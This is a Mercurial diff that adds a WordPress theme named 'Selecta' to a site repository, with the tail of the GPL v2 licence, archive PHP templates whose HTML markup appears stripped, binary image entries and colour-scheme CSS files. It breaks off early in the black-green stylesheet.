source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/Selecta Hot Fixes.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/Selecta Hot Fixes.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3 @@ +For a list of the Hotfixes for this theme, please refer to your profile at: + +http://obox-design.com/myprofile.cfm \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,73 @@ + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/archives.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/archives.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,92 @@ +get_results("SELECT * FROM " . $wpdb->posts . " WHERE post_status='publish' AND post_type = 'post' GROUP BY $wpdb->posts.ID ORDER BY post_date DESC"); + $last_month = date("m Y", strtotime($fetch_archive[0]->post_date)); + get_header(); +?> +
    +
    +

    post_date)); ?>

    +
    +
      + post_date)); + foreach($fetch_archive as $archive_data) : + $get_post_video = get_post_meta($post->ID, "main_video", true); + $get_thumbnail = get_post_meta($archive_data->ID, "other_media", true); + $get_video_thumbnail = get_post_meta($archive_data->ID, "video_thumbnail", true); + $post_image = ""; + if($get_thumbnail == "") : + $post_image = fetch_post_image($archive_data->ID, "300", "2000"); + endif; + $category_id = get_the_category($archive_data->ID); + $this_category = get_category($category_id[0]->term_id); + $this_category_link = get_category_link($category_id[0]->term_id); + $link = get_permalink($archive_data->ID); + if(date("m Y", strtotime($archive_data->post_date)) !== $last_month) : + $count = 1; + $month_count++; + ?> +
    +
    +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/Thumbs.db Binary file web/wp-content/themes/selecta/color-styles/black-blue/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/action-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/action-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/avatar-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/avatar-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/comment-input-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/comment-input-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/comment-lip.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/comment-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/comment-message-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/comment-message-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/feature-list-number-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/feature-list-number-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/flickr-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/flickr-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/obox-logo.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/obox-logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/pagination.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/pagination.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/reply-button.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/reply-button.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-alt-dark.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-alt-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-alt-normal.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-alt-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-dark-dark.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-dark-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-dark-n.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-dark-n.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-dark-normal.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-dark-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-light-1.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-light-1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-light-dark.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-light-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-light-normal.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/rounded-corners-light-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/slider-lip.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/slider-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/small-advert-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/small-advert-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/color-styles/black-blue/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,270 @@ +/*-------------------------------------------------------------------------------------------*/ +/*- SETUP STD CLASSES -----------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +body{color: #111; background: #333;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- GLOBAL CLASSES --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*--- Links ---*/ +a.std_link, a{color: #00ADEF;} +a:active{color: #c00;} +a:hover{color: #111;} + +/*-------------------------------------------------------------------------------------------*/ +/*- GENERAL LAYOUT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#header{background: #00ADEF;} +#feature-post-container{background: #111; border-top: 1px solid #444; border-bottom: 1px solid #444;} +.post-slider{border-bottom: 1px dotted #555;} +#footer-container{background: #111; border-top: 1px solid #444; border-bottom: 1px solid #444;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HEADER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + /*--------------------------*/ + /*- MENU -------------------*/ + ul#menu li.parent-item a.parent-link{color: #111;} + ul#menu li.parent-item a.parent-link:hover{color: #fff;} + + /*--------------------------*/ + /*- SUB MENU ---------------*/ + ul.sub-menu{background: url(submenu-header.png) top no-repeat;} + ul.sub-menu li{background: #fff;} + ul.sub-menu li a{border-bottom: 1px dotted #ccc;} + .sub-menu-footer{background: url(submenu-footer.png) bottom no-repeat;} + +/*-------------------------------------------------------------------------------------------*/ +/*- ROUNDED CORNERS - Before we do anything, let's set the rounded corners ------------------*/ +/*-------------------------------------------------------------------------------------------*/ + +/*- ------------------------------------------------------------------------------------------- + NOTE: There are two color references in the div description + The first is the containers background color + "LIGHT" refers to the light containing div (eg. the copy containers) + "DARK" refers to the darker containing div (eg. side-bar containers) + The second reference is the background that the container sits it + "NORMAL" refers to the body background color + "DARK" refers to the darker containing div background color (eg. the 'feature post' container) +------------------------------------------------------------------------------------------ -*/ +.container-light{background: #fff;} +.container-dark{background: #101010;} + +/*- LIGHT -*/ +.container-header-light-dark{background: url(rounded-corners-light-dark.png) 100% 0;} +.container-header-light-dark span{background: url(rounded-corners-light-dark.png) 0 0;} +.container-footer-light-dark{background: url(rounded-corners-light-dark.png) 0 100%;} +.container-footer-light-dark span{background: url(rounded-corners-light-dark.png) 100% 100%;} + +.container-header-light-normal{background: url(rounded-corners-light-normal.png) 100% 0;} +.container-header-light-normal span{background: url(rounded-corners-light-normal.png) 0 0;} +.container-footer-light-normal{background: url(rounded-corners-light-normal.png) 0 100%;} +.container-footer-light-normal span{background: url(rounded-corners-light-normal.png) 100% 100%;} + +/*- DARK -*/ +.container-header-dark-dark{background: url(rounded-corners-dark-dark.png) 100% 0;} +.container-header-dark-dark span{background: url(rounded-corners-dark-dark.png) 0 0;} +.container-footer-dark-dark{background: url(rounded-corners-dark-dark.png) 0 100%;} +.container-footer-dark-dark span{background: url(rounded-corners-dark-dark.png) 100% 100%;} + +.container-header-dark-normal{background: url(rounded-corners-dark-normal.png) 100% 0;} +.container-header-dark-normal span{background: url(rounded-corners-dark-normal.png) 0 0;} +.container-footer-dark-normal{background: url(rounded-corners-dark-normal.png) 0 100%;} +.container-footer-dark-normal span{background: url(rounded-corners-dark-normal.png) 100% 100%;} + +/*- ------------------------------------------------------------------------------------------- + NOTE: This is udes for the dark style themes only, just to spicen up the activity. + The color is called 'alt' and is determined by the header and footer id's +------------------------------------------------------------------------------------------ -*/ + +#header-container .container-dark, #footer-container .container-dark{background: #00ADEF;} + +/*- ALT -*/ +#header-container .container-header-dark-dark, #footer-container .container-header-dark-dark + {background: url(rounded-corners-alt-dark.png) 100% 0;} +#header-container .container-header-dark-dark span, #footer-container .container-header-dark-dark span + {background: url(rounded-corners-alt-dark.png) 0 0;} +#header-container .container-footer-dark-dark, #footer-container .container-footer-dark-dark + {background: url(rounded-corners-alt-dark.png) 0 100%;} +#header-container .container-footer-dark-dark span, #footer-container .container-footer-dark-dark span + {background: url(rounded-corners-alt-dark.png) 100% 100%;} + +#header-container .container-header-dark-normal, #footer-container .container-header-dark-normal span + {background: url(rounded-corners-alt-normal.png) 100% 0;} +#header-container .container-header-dark-normal span, #footer-container .container-header-dark-normal span + {background: url(rounded-corners-alt-normal.png) 0 0;} +#header-container .container-footer-dark-normal, #footer-container .container-footer-dark-normal + {background: url(rounded-corners-alt-normal.png) 0 100%;} +#header-container .container-footer-dark-normal span, #footer-container .container-footer-dark-normal span + {background: url(rounded-corners-alt-normal.png) 100% 100%;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HOME PAGE LAYOUT ------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------------------*/ + /*- FEATURE POSTS ----------------------------------------*/ + .selected-feature{} + .selected-feature .feature-title{background: url(title-swish-bg.png) bottom left no-repeat;} + .selected-feature h4{color: #fff;} + .selected-feature h2 a{color: #00ADEF;} + .selected-feature h2 a:hover{color: #fff;} + + ul.feature-list li span.item{color: #fff; background: url(feature-list-number-bg.png) top right no-repeat;} + ul.feature-list li h4{color: #fff;} + ul.feature-list li a{color: #00ADEF;} + ul.feature-list li a:hover{color: #fff;} + + + /*-------------------------------------------------------------*/ + /*- THE FEATURE CONTAINER DIV IS ALSO USED FOR PAGE TITLES ----*/ + #feature-post h1{color: #fff;} + #feature-post .post h2.title a:hover{color: #00ADEF;} + #feature-post .post h4{color: #CFEE27;} + + + /*--------------------------------------------------------*/ + /*- POST SLIDER ------------------------------------------*/ + .post-slider h2{color: #fff;} + .post-slider ul li .content{background: #fff;} + .post-slider ul li h3{background: url(slider-lip.png) 15px 0px no-repeat;} + .post-slider ul li h3 a{color: #00ADEF;} + .post-slider ul li h3 a:hover{color: #fff;} + + + + /*--------------------------------------------------------*/ + /*- PAGINATION -------------------------------------------*/ + ul.page_button_content li a{background: url(pagination.png) no-repeat;} + ul.page_button_content li a.selected-page{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POSTS CLASSES ---------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*- RESET SOME CLASSES FOR THE COPY AFTER CLEARING EVERYTHING AT THE TOP OF THE CSS -*/ +.post .copy a{color: #00ADEF;} + .post .copy a:hover{color: #000;} +.post .copy ol, .post .copy ul{color: #555;} + +.post{} + .post-title{background: url(title-swish-bg.png) bottom left no-repeat;} + + .post h2.title, .post h2.title a{color: #00ADEF;} + .post h2.title a:hover{color: #fff;} + .post h4.date{color: #CFEE27;} + + .post .copy{background: #fff;} + .post .copy a.action-link{background: url(action-bg.png) left top no-repeat;} + .post .copy a.action-link span{background: url(action-bg.png) top right no-repeat; color: #111;} + .post .copy a.action-link:hover span{color: #fff;} + .post a.post-comments:hover{color: #111;} + +.post-section-title{border-bottom: 1px dotted #555; color: #fff;} +.post .post-section-title{border-bottom: 1px dotted #555; color: #111;} + +/*-------------------------------------------------------------------------------------------*/ +/*- PROMOTE POST ----------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.enjoy-copy{color: #575757;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- COMMENTS --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.comment h3{color: #111; border-bottom: 1px dotted #ccc;} + .comment h3 a{color: #111;} + .comment h3 a:hover{color: #00ADEF;} + .comment h3 .comment-date{color: #777;} + + .user{background: url(comment-lip.png) top right no-repeat;} + .user img{background: url(avatar-bg.png) bottom no-repeat;} + .user a.reply-link{color: #111; background: url(reply-button.png) top no-repeat;} + + .comment-content{background: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POST A COMMENT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + .comment-form-content .comment_form label{color: #00ADEF;} + + .comment-input{background: url(comment-input-bg.png) no-repeat;} + .comment-input input{color: #ccc;} + + .checkbox{color: #00ADEF;} + + .comment-texarea{background: url(comment-message-bg.png) no-repeat;} + .comment-texarea textarea{color: #ccc; background: none;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- ARCHIVES --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +a.archive-date{color: #00ADEF;} + a.archive-date:hover{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SIDE BAR --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#sidebar h2, #sidebar h2 a{color: #00ADEF;} + +#sidebar ul li.widget{color: #999;} + #sidebar ul li ul li{border-bottom: 1px dotted #444; color: #999;} + #sidebar ul li a{color: #fff;} + #sidebar ul li a:hover{color: #2FC6FF;} + + /*--------------------------------------------*/ + /*- SPECIFIC SIDE BAR STYLE ------------------*/ + #sidebar ul li.flickr, #sidebar ul li.recent-comments, #sidebar ul li.sponsors{} + #sidebar ul li.recent-comments h2, #sidebar ul li.flickr h2{color: #111;} + + + /*--------------------------------------------*/ + /*- SPONSORS ---------------------------------*/ + #sidebar .advert{background: url(small-advert-bg.png);} + + + /*--------------------------------------------*/ + /*- DETAILED LISTING IN SIDE BAR -------------*/ + #sidebar ul li.recent-comments h2.recent-comments-title{color: #111;} + #sidebar ul li.recent-comments ul li{border-bottom: 1px dotted #333;} + #sidebar ul li.recent-comments ul li a.detail-image{background: url(avatar-bg.png) top no-repeat;} + #sidebar ul li.recent-comments ul li a.detail-image:hover{background: url(avatar-bg.png) bottom no-repeat;} + + #sidebar ul li.recent-comments ul li a.detail-link{color: #ccc;} + #sidebar ul li.recent-comments ul li a.detail-link span.date{color: #CFEE27;} + #sidebar ul li.recent-comments ul li a.detail-link:hover{color: #2FC6FF;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- FOOTER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + ul.footer-columns h3{color: #111;} + ul.footer-columns p{color: #000;} + + ul.footer-columns ul li{color: #fff; border-bottom: 1px dotted #2FC6FF;} + ul.footer-columns a{color: #fff;} + ul.footer-columns a:hover{color: #000;} + + p.copyright{color: #555;} + p.copyright a{color: #888;} + p.copyright a:hover{color: #2FC6FF;} + a.obox-logo{background: url(obox-logo.png) top;} + a.obox-logo:hover{background: url(obox-logo.png) bottom;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SOME STANDARD WORDPRESS PLUGIN/WIDGET STYLES --------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------*/ + /*- FLICKR -----------------------------------*/ + #flickr_badge_wrapper .flickr_badge_image a{background: url(flickr-bg.png) top no-repeat;} + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/submenu-footer.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/submenu-footer.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/submenu-header.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/submenu-header.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/submit-comment.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/submit-comment.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-blue/title-swish-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-blue/title-swish-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/Thumbs.db Binary file web/wp-content/themes/selecta/color-styles/black-green/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/action-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-green/action-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/avatar-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-green/avatar-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/comment-input-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-green/comment-input-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/comment-lip.png Binary file web/wp-content/themes/selecta/color-styles/black-green/comment-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/comment-message-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-green/comment-message-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/feature-list-number-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-green/feature-list-number-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/flickr-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-green/flickr-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/obox-logo.png Binary file web/wp-content/themes/selecta/color-styles/black-green/obox-logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/pagination.png Binary file web/wp-content/themes/selecta/color-styles/black-green/pagination.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/reply-button.png Binary file web/wp-content/themes/selecta/color-styles/black-green/reply-button.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-alt-dark.png Binary file web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-alt-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-alt-normal.png Binary file web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-alt-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-dark-dark.png Binary file web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-dark-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-dark-n.png Binary file web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-dark-n.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-dark-normal.png Binary file web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-dark-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-light-1.png Binary file web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-light-1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-light-dark.png Binary file web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-light-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-light-normal.png Binary file web/wp-content/themes/selecta/color-styles/black-green/rounded-corners-light-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/slider-lip.png Binary file web/wp-content/themes/selecta/color-styles/black-green/slider-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/small-advert-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-green/small-advert-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/color-styles/black-green/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,272 @@ +/*-------------------------------------------------------------------------------------------*/ +/*- SETUP STD CLASSES -----------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +body{color: #111; background: #333;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- GLOBAL CLASSES --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*--- Links ---*/ +a.std_link, a{color: #3B96DF;} +a:active{color: #c00;} +a:hover{color: #111;} + +/*-------------------------------------------------------------------------------------------*/ +/*- GENERAL LAYOUT --------------------------------------------------------------------------*/ 